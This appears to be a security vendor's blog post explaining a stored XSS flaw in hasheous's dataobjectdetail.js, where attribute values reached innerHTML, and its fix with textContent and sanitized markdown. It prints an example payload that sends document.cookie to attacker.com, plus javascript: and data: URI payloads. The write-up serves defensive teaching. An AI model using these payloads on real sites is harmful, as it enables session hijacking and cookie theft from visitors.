Back to Blog
critical SEVERITY8 min read

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a stored XSS vulnerability (CWE-79) in JavaScript, specifically in `dataobjectdetail.js` at line 248, where `dataObject.attributes[i].value` was assigned directly to `element.innerHTML` without sanitization. An attacker with Moderator or Admin access could store a malicious payload in a DataObject's `Description` or `AIDescription` attribute, causing it to execute in every visitor's browser. The fix replaces `innerHTML` with `textContent` for plain-text descriptions and introduces a `renderSafeMarkdown()` helper for the AI description field, which sanitizes the output of `marked.parse()` before it is injected into the DOM.

Vulnerability at a Glance

cweCWE-79
fixReplace `innerHTML` with `textContent` for plain text; sanitize markdown output with `renderSafeMarkdown()` before innerHTML assignment
riskAttacker-controlled HTML executes in every visitor's browser session
languageJavaScript
root cause`dataObject.attributes[i].value` assigned directly to `element.innerHTML` without sanitization
vulnerabilityStored Cross-Site Scripting (XSS)

The Problem with Trusting Server Data in the Browser

The hasheous/wwwroot/pages/dataobjectdetail.js file is responsible for rendering detailed information about DataObjects — including user-facing descriptions and AI-generated summaries. It fetches attribute data from the server and displays it on the page. The logic seems straightforward: get the value, put it on the screen. But the way it put values on the screen opened the door to a serious stored Cross-Site Scripting (XSS) attack.

At line 248 of dataobjectdetail.js, inside the renderContent() function, the code assigned a server-returned attribute value directly to innerHTML:

descBody.innerHTML = dataObject.attributes[i].value;

No sanitization. No encoding. Just raw HTML injection into the DOM. If that value contained <script> tags, event handlers, or any other executable HTML, the browser would happily run it.

This post breaks down exactly how that vulnerability works, what the fix looks like, and what every JavaScript developer should take away from it.


The Vulnerability Explained

What the Code Was Doing

Inside renderContent(), the code iterates over a DataObject's attributes and handles two specific cases: Description and AIDescription. For the plain-text Description field, the original code was:

let descBody = document.createElement('span');
descBody.classList.add('descriptionspan');
descBody.innerHTML = dataObject.attributes[i].value;  // ← vulnerable line
descriptionElement.appendChild(descBody);

For the AIDescription field, which supports Markdown, the code was:

let markdownText = dataObject.attributes[i].value;
// convert markdown to HTML using marked
let htmlContent = marked.parse(markdownText);

let aiDescBody = document.createElement('span');
aiDescBody.classList.add('descriptionspan');
aiDescBody.innerHTML = htmlContent;  // ← also vulnerable
aiDescriptionElement.appendChild(aiDescBody);

Both patterns share the same root cause: untrusted data flows from an API response directly into innerHTML.

Why innerHTML Is Dangerous Here

The innerHTML property tells the browser to parse its assigned value as HTML. That means any HTML tags, including executable ones, are interpreted and rendered — not displayed as text.

Consider what happens when dataObject.attributes[i].value contains:

<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">

The browser creates an <img> element, fails to load x, and fires the onerror handler — which sends the victim's cookies to an attacker-controlled server. No user interaction required beyond simply viewing the page.

The Attack Path

The attack chain is two steps:

  1. Attacker authenticates as a Moderator or Admin (roles that have write access to DataObject attributes).
  2. Attacker sets the Description or AIDescription attribute of any DataObject to a malicious HTML payload.

From that point on, every user who views that DataObject's detail page executes the payload in their browser. This is the classic definition of stored XSS — the malicious content is persisted server-side and delivered to all subsequent visitors.

The AIDescription path is even more subtle: the value passes through marked.parse() first, which converts Markdown to HTML. But marked does not sanitize its output by default — it is a Markdown renderer, not a sanitizer. Passing untrusted Markdown through marked.parse() and then assigning the result to innerHTML is equivalent to allowing arbitrary HTML injection, because Markdown syntax can embed raw HTML.

Real-World Impact

For the Hasheous application, which appears to be a game/media metadata platform, this vulnerability means:

  • Session hijacking: Cookie theft via document.cookie exfiltration.
  • Credential harvesting: Injecting fake login forms or redirecting users to phishing pages.
  • Privilege escalation: Executing authenticated API calls on behalf of logged-in users.
  • Defacement: Replacing page content for all visitors.

Any user who can write to a DataObject attribute — even with limited privileges — becomes a potential attacker.


The Fix

The pull request makes two targeted changes in dataobjectdetail.js and introduces a new helper in common.js.

Fix 1: Replace innerHTML with textContent for Plain Descriptions

Before:

let descBody = document.createElement('span');
descBody.classList.add('descriptionspan');
descBody.innerHTML = dataObject.attributes[i].value;
descriptionElement.appendChild(descBody);

After:

let descBody = document.createElement('span');
descBody.classList.add('descriptionspan');
descBody.textContent = dataObject.attributes[i].value;
descriptionElement.appendChild(descBody);

This is the simplest and most correct fix for plain-text content. The textContent property does not parse HTML — it treats the assigned value as a raw string and escapes any HTML characters automatically. An attacker payload like <img src=x onerror=...> would be displayed literally on screen as text, not executed as markup.

Fix 2: Sanitize Markdown Before Injecting into the DOM

The AIDescription field legitimately needs to render HTML, because it contains Markdown that must be converted to formatted output. Simply switching to textContent would break the intended rendering. Instead, the fix introduces a dedicated renderSafeMarkdown() function:

Before:

let markdownText = dataObject.attributes[i].value;
// convert markdown to HTML using marked
let htmlContent = marked.parse(markdownText);

let aiDescBody = document.createElement('span');
aiDescBody.classList.add('descriptionspan');
aiDescBody.innerHTML = htmlContent;
aiDescriptionElement.appendChild(aiDescBody);

After:

const markdownText = dataObject.attributes[i].value;
const safeHtml = renderSafeMarkdown(markdownText);

let aiDescBody = document.createElement('span');
aiDescBody.classList.add('descriptionspan');
aiDescBody.innerHTML = safeHtml;
aiDescriptionElement.appendChild(aiDescBody);

The renderSafeMarkdown() helper (added to common.js) sanitizes the output of marked.parse() before it reaches innerHTML. The common.js diff also adds a URL safety checker that blocks dangerous schemes (such as javascript: and data:) from being used in href or src attributes — preventing a common vector where Markdown link syntax like [click me](javascript:alert(1)) would otherwise survive Markdown parsing and execute in the browser.

Why Both Changes Are Necessary

Field Content Type Fix Applied Reason
Description Plain text textContent No HTML needed; safest API
AIDescription Markdown → HTML renderSafeMarkdown() + innerHTML HTML rendering required, but must be sanitized

Using textContent everywhere would be wrong for the AI description — it would display raw HTML tags as visible text. Using innerHTML everywhere with a sanitizer would work but is more complex than necessary for plain text. The fix applies the right tool to each case.


Prevention & Best Practices

1. Default to textContent, Opt Into innerHTML Deliberately

Treat innerHTML as a privileged operation. Every use of innerHTML in your codebase should be a conscious, reviewed decision. For any value that doesn't need to render HTML structure, textContent is always the right choice.

// ✅ Safe for plain text
element.textContent = userSuppliedValue;

// ⚠️  Only use when HTML rendering is required AND content is sanitized
element.innerHTML = sanitize(markdownToHtml(userSuppliedValue));

2. Sanitize Markdown Output Before Rendering

Libraries like marked, showdown, and markdown-it convert Markdown to HTML but do not sanitize that HTML. Always pass their output through a sanitizer like DOMPurify before assigning to innerHTML:

import DOMPurify from 'dompurify';
import { marked } from 'marked';

function renderSafeMarkdown(markdownText) {
    const rawHtml = marked.parse(markdownText);
    return DOMPurify.sanitize(rawHtml);
}

3. Block Dangerous URL Schemes

When sanitizing, explicitly block javascript:, data:, and vbscript: URI schemes in href and src attributes. These can execute code even when the surrounding HTML looks benign:

// Dangerous — executes JavaScript
<a href="javascript:alert(document.cookie)">Click me</a>

// Dangerous — executes base64-encoded script
<img src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

The common.js update in this PR adds exactly this protection as a URL validation utility.

4. Apply a Content Security Policy (CSP)

A well-configured CSP header provides defense-in-depth. Even if an XSS payload is injected, a strict CSP can prevent it from loading external resources or executing inline scripts:

Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; connect-src 'self'

5. Audit All innerHTML Assignments with Static Analysis

Use Semgrep or ESLint security plugins to flag every innerHTML assignment in your codebase and review whether the assigned value comes from a trusted, sanitized source.

A Semgrep rule to catch this pattern:

rules:
  - id: unsafe-innerhtml-assignment
    patterns:
      - pattern: $EL.innerHTML = $VAL
    message: "Unsafe innerHTML assignment. Ensure $VAL is sanitized before use."
    languages: [javascript, typescript]
    severity: WARNING

Key Takeaways

  • innerHTML in renderContent() was the specific sink: The vulnerability wasn't in the API or the server — it was in the single line descBody.innerHTML = dataObject.attributes[i].value inside dataobjectdetail.js.
  • Markdown renderers are not sanitizers: Passing untrusted content through marked.parse() before innerHTML does not protect against XSS — it can actually expand the attack surface by converting Markdown link and image syntax into executable HTML.
  • textContent is the zero-effort safe default: For the Description field, the entire fix was a one-word change from innerHTML to textContent. There was no reason to use innerHTML in the first place.
  • URL scheme validation matters in sanitization: The renderSafeMarkdown() helper blocks javascript: and data: URIs, closing a bypass vector that pure HTML tag filtering would miss.
  • Privileged write access doesn't mean XSS is acceptable: Even though the attack required Moderator/Admin credentials, stored XSS from a trusted role can affect all users — including other admins — making it a critical escalation path.

How Orbis AppSec Detected This

  • Source: Server-returned API response value at dataObject.attributes[i].value inside the renderContent() function in dataobjectdetail.js
  • Sink: descBody.innerHTML = dataObject.attributes[i].value at line 248, and aiDescBody.innerHTML = htmlContent in the same function — both in hasheous/wwwroot/pages/dataobjectdetail.js
  • Missing control: No HTML sanitization, encoding, or safe DOM API (textContent) was applied before the server-returned value was written into the DOM
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Replaced innerHTML with textContent for the plain-text Description field and introduced renderSafeMarkdown() to sanitize Markdown output before innerHTML assignment for the AIDescription field

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in dataobjectdetail.js is a textbook example of how a single unsafe API choice — innerHTML instead of textContent — can turn a routine data rendering operation into a persistent attack vector affecting every user of an application. The fix is precise and minimal: one property name change for plain text, and a sanitizing wrapper for the Markdown case. Neither change breaks existing functionality; both eliminate an entire class of injection risk.

For JavaScript developers, the lesson is simple: treat every innerHTML assignment as a security decision. Ask whether the content genuinely needs to be parsed as HTML. If it does, sanitize it first. If it doesn't, use textContent. That discipline, applied consistently, prevents the vast majority of DOM-based and stored XSS vulnerabilities before they ever reach production.


References

Frequently Asked Questions

What is stored XSS?

Stored XSS (Cross-Site Scripting) occurs when an attacker saves malicious HTML or JavaScript into a database or data store, and the application later renders that data directly into a web page without sanitization, executing the script in every victim's browser.

How do you prevent XSS in JavaScript?

Use `textContent` instead of `innerHTML` for plain text, sanitize any HTML-containing content with a trusted library (such as DOMPurify) before assigning it to `innerHTML`, and validate or encode all server-returned values before rendering them in the DOM.

What CWE is XSS?

XSS is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is escaping user input on the server side enough to prevent XSS?

Not always. Output encoding must happen at the point of rendering in the browser. Even if server-side escaping is in place, client-side JavaScript that reassigns a value to `innerHTML` can re-introduce the vulnerability if the value is decoded or transformed before assignment.

Can static analysis detect XSS in JavaScript?

Yes. Static analysis tools like Semgrep, ESLint security plugins, and AI-assisted scanners can trace tainted data flows from sources (e.g., API responses) to dangerous sinks (e.g., `innerHTML`) and flag them before they reach production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #514

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

critical

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

high

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript